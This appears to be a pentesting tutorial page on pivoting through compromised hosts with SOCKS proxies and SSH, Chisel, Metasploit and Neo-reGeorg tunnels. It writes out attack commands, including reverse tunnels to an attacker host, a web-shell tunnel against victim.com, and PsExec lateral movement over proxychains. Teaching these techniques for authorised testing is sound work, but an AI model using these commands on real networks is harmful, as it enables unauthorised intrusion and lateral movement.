Home > Network Pentesting

SOCKS Proxies & Tunnels

SOCKS proxies and tunnels allow attackers to route internal network traffic through a compromised host. Once a foothold is obtained, tunneling converts that host into a pivot point, enabling port scanning, service enumeration, and lateral movement across unreachable internal networks. Understanding these techniques is critical, because internal environments often block direct communication. Tunnels bypass segmentation, firewalls, and isolation by forwarding traffic through an already trusted machine.

What Tunneling Achieves

Tunnels and SOCKS proxies allow the attacker to:

  • Reach internal subnets not directly accessible

  • Perform port scans from inside the network

  • Access RDP, SMB, SSH, WinRM internally

  • Bypass firewalls blocking inbound connections

  • Pivot through Windows or Linux hosts

  • Use external tools as if they were inside the LAN

All tunneling techniques support a key goal: extending attacker visibility deeper into the network.

Local vs Remote vs Dynamic Tunneling

There are three major tunneling modes:

Local Port Forwarding

Sends traffic from attacker → tunnel → internal host.

Example:

ssh -L 8080:10.10.10.5:80 user@pivot

Remote Port Forwarding

Allows traffic from inside network → attacker.

ssh -R 4455:localhost:445 attacker@server

Dynamic Tunneling (SOCKS Proxy)

Provides a flexible proxy to reach any host or port.

ssh -D 1080 user@pivot

SOCKS proxies offer the most powerful pivoting capability.

SOCKS Proxy Fundamentals

A SOCKS proxy forwards any TCP connection through the compromised host.
Tools like proxychains or Firefox can use this proxy to route internal traffic.

Enabling SOCKS Proxy via SSH

ssh -D 1080 user@10.10.10.20

Now configure proxychains to use port 1080.

Configure Proxychains

Edit /etc/proxychains.conf:

socks5 127.0.0.1 1080

Scan an Internal Subnet via Proxychains

proxychains nmap -sT 10.10.20.0/24

Nmap traffic flows through the pivot into the internal network.

SOCKS Proxy with Chisel (Cross-Platform)

Chisel is a powerful tunneling tool that supports Windows and Linux, ideal for restricted environments.

On Attacker Machine (Start Server)

chisel server -p 9001 --reverse

On Compromised Host (Client)

chisel client attacker_ip:9001 R:socks

This creates a SOCKS proxy on the attacker side.

Use Proxychains

proxychains firefox

Now you can browse internal web apps directly.

SOCKS Proxy with Metasploit (Auto-Pivot)

If using Meterpreter:

Create a SOCKS Proxy

use auxiliary/server/socks_proxy
run

Add a Route

run autoroute -s 10.10.20.0/24

Metasploit automatically tunnels internal traffic from modules and external tools.

SOCKS Proxy with Neo-reGeorg

Neo-reGeorg turns web shells into full tunnels.

Generate Tunnel

python3 neoreg.py generate -k key1234

Upload the generated PHP/ASPX tunnel to the target.

Start the Tunnel

python3 neoreg.py -k key1234 -u http://victim.com/shell.php

This opens a SOCKS proxy reachable via proxychains.

Tunneling Through Windows Hosts

When pivoting from a Windows foothold, use tools like:

Plink (Windows SSH Client)

plink.exe -D 1080 -ssh user@attacker

SSH Dynamic Port Forwarding

If OpenSSH is installed on Windows:

ssh -D 1080 user@attacker

Use Proxifier for GUI Tools

Proxifier routes Windows applications (RDP, MMC, WinRM tools) through SOCKS.

Tunneling with SSH Reverse Forwarding

Reverse tunnels are used when the compromised host cannot accept inbound connections.

Reverse Tunnel Example

ssh -R 4444:localhost:3389 attacker@attacker_ip

Now the attacker can access RDP on the victim through port 4444.

Tunneling with SSH Pivot Chains

Chaining multiple compromised hosts:

ssh -D 1080 user@pivot1
proxychains ssh -D 1081 user@pivot2
proxychains ssh -D 1082 user@pivot3

This builds a multi-hop tunnel deep into the network.

Tunneling with SOCKS + Browser

To access internal web apps in a browser:

Firefox Settings

Network Settings → Manual Proxy →
SOCKS Host: 127.0.0.1
Port: 1080
SOCKS v5 → Enable DNS over SOCKS.

You can now browse internal dashboards, admin portals, and web interfaces.

Using Tunnels for Lateral Movement

Tunnels allow attackers to:

  • Connect to RDP over SOCKS

  • Connect to WinRM over SOCKS

  • Run CrackMapExec through proxychains

  • Use Impacket tools internally

Example: PsExec via Proxychains

proxychains python3 psexec.py DOMAIN/user:pass@10.10.20.15

Example: Connect to RDP

proxychains rdesktop 10.10.20.10

Tunnels give access to internal systems as if directly connected.

Why Tunneling & SOCKS Proxies Matter

Tunnels unlock the entire internal network once a single foothold is gained. They:

  • Bypass segmentation

  • Evade firewalls

  • Provide stealthy communication

  • Enable internal scanning

  • Allow GUI access to internal apps

  • Make lateral movement efficient

Pivoting is impossible without tunneling, making SOCKS proxies and port forwarding essential for advanced internal operations.

Intel Dump

  • SOCKS proxies route internal traffic through compromised hosts

  • Tools: SSH, Chisel, Neo-reGeorg, Metasploit, Proxychains

  • Dynamic tunneling allows full internal scanning and browser access

  • Reverse tunnels bypass inbound firewall restrictions

  • Tunnels support lateral movement to RDP, WinRM, SMB, and more

HOME LEARN COMMUNITY DASHBOARD